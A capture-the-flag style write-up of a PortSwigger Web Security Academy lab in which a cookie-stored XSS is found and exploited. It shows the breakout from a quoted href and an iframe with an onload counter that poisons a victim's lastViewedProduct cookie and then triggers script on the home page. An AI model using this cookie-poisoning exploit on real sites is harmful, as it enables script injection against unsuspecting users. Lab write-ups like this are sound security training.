| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | DOM-Based Cookie Manipulation → Stored XSS |
| Difficulty | Practitioner |
| Objective | Inject a malicious cookie that triggers XSS on a different page and calls print() |
DOM-Based Cookie Manipulation — Writeup¶
Reconnaissance¶
Initial Observation¶
Nothing on the main page. After viewing a product, a new script appears in the source:
document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
The full current URL is written directly into a cookie. If we can control the URL, we control the cookie value.
Web — Cookie Reflection and Injection Point¶
Intercepting the product page request confirms the cookie is being sent:
GET /product?productId=1 HTTP/1.1
Cookie: session=OsS7MJrMYybrmIfGAP48du9ZEPMBhibW; lastViewedProduct=https://0a4c00660403f126819ded83002700e9.web-security-academy.net/product?productId=13
And on the page, the "Last viewed product" link reflects that cookie value:
<a href='https://0a4c00660403f126819ded83002700e9.web-security-academy.net/product?productId=13'>Last viewed product</a>
The cookie value lands inside a single-quoted href attribute. Injecting a ' to escape it:
/product?productId=1&'
<a href='https://...product?productId=1&''>Last viewed product</a>
Out of the attribute. Closing the anchor and injecting a script:
/product?productId=1&'</a><script>alert(0)</script>
<a href='https://...product?productId=1&'</a><script>alert(0)</script>'>Last viewed product</a>
Alert fires. Looking at the cookie in the intercepted request:
Cookie: lastViewedProduct=https://...product?productId=1&'</a><script>alert(0)</script>
The XSS payload is now stored in the cookie. Every time the victim visits any product page, the "Last viewed product" link will render with the injected script until they visit a clean product URL.
Attack Path¶
Exploit — Cookie Poisoning via iframe¶
Making the victim's browser load the malicious product URL first (to poison the cookie), then navigate to the home page where the "Last viewed product" link renders. A single iframe handles both steps using an onload counter:
<iframe src="https://0a4c00660403f126819ded83002700e9.web-security-academy.net/product?productId=1&'</a><script>print()</script>" onload="if(!window.x)this.src='https://0a4c00660403f126819ded83002700e9.web-security-academy.net/';window.x=1;"></iframe>
First onload: the malicious product URL loads → cookie is poisoned with the payload → window.x doesn't exist yet so this.src gets set to the home page.
Second onload: home page loads → "Last viewed product" link renders with the poisoned cookie → <script>print()</script> executes → window.x is now 1 so the redirect stops.
Viewing the exploit:
print() fires. Delivering to victim:
Lab solved ^^